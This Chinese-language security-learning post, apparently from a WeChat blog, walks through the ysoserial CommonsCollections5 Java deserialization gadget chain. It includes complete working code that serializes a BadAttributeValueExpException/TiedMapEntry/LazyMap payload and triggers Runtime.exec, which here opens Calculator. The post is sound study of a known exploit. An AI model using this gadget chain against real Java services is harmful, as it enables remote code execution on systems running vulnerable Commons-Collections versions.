庆祝我伟大的党百年华诞🎉
向伟大的祖国敬礼('-'*ゞ
0x00 前言
上节说道在commons-collections-3.2.1.jar!/org/apache/commons/collections/keyvalue/TiedMapEntry.class类中,总共有三个函数调用了getValue函数:
-
toString CC5 本文重点
-
hashCode CC6
-
equals CC7
本文CommonsCollections6利用链的限制条件:
JDK版本:暂无限制、 CommonsCollections 3.1 - 3.2.1
实验环境:
JDK 1.8.0_261 、Commons-Collections 3.2.1
0x01 利用链
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
这里重点看BadAttributeValueExpException.readObject()和TiedMapEntry.toString(),其他的都和前面两章一样 Java ysoserial学习之CommonsCollections1(二)、Java ysoserial学习之CommonsCollections6(三)
1.1 TiedMapEntry.toString()
上一节说过解决Java高版本利用问题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方,因为LazyMap对象是只要执行get方法就会调用transform,而transform的特性是可以执行任意方法。
CC6中是在TiedMapEntry类中找到了hashCode方法中调用了map.get(key);,并且map是我们可控的
而CC5中则是利用了TiedMapEntry#toString方法
还是先实验一下,确定可以
但这还不够好,我们希望的是目标反序列化后直接触发命令的执行,因此我们需要找到一个类在反序列化后会直接触发 TiedMapEntry#toString 从而触发命令的执行。
1.2 BadAttributeValueExpException.readObject()
在ysoserial中是利用了 rt.jar!/javax/management/BadAttributeValueExpException.class#readObject方法来达到上述目的
这里我们可以看到BadAttributeValueExpException并没有实现Serializable接口,为什么可以序列化?
其实是BadAttributeValueExpException继承了Exception,Exception又继承了Throwable,Throwable实现了Serializable接口
在BadAttributeValueExpException#readObject中发现get函数获取val的值然后赋给valObj,然后在符合第二个else if的情况下就会调用toString, 巧的是 System.getSecurityManager() 返回值默认为null
这样就只需要可以控制val的值就可以执行命令了。
然后我们发现在构造函数中就可以控制val的值,可以直接将tiedMapEntry作为参数传进去。
注意:在构造函数中我们可以看到,当传入一个val,val就不等于null,会调用一次toString()方法,也就是说,创建BadAttributeValueExpException对象时会弹出一次计算器,而在我们的构想中,反序列化时也会弹出一次,总共是两次。
实验一下
但是,最终发现只弹了一次计算器,也就是说在反序列化时并没有执行toString方法,进而执行命令。
直接在BadAttributeValueExpException#readObject下断点Debug一下,会发现这时valObj是一个字符串了,直接进入了第一个 else if 判断中,并没有进入第二个 else if ,这是因为在创建BadAttributeValueExpException对象时,val已经执行过了一次toString方法,变成了字符串,所以匹配到了**第一个 else if **判断
要想改变val的值就需要用到前面反复提到的反射了
// 利用反射修改 BadAttributeValueExpException 中的 val 为 tiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tiedMapEntry);
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author yhy
* @date 2021/6/30 21:05
* @github https://github.com/yhy0
*/
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
public class CommonCollections5 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.toString();
// 利用反射修改 BadAttributeValueExpException 中的 val 为 tiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tiedMapEntry);
// // 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(bad);
// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
0x02 参考
天下大木头师傅的 https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#55fcdbc0
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
来都来了,不关注一波?
本文始发于微信公众号(谁不想当剑仙):Java ysoserial学习之CommonsCollections5(四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论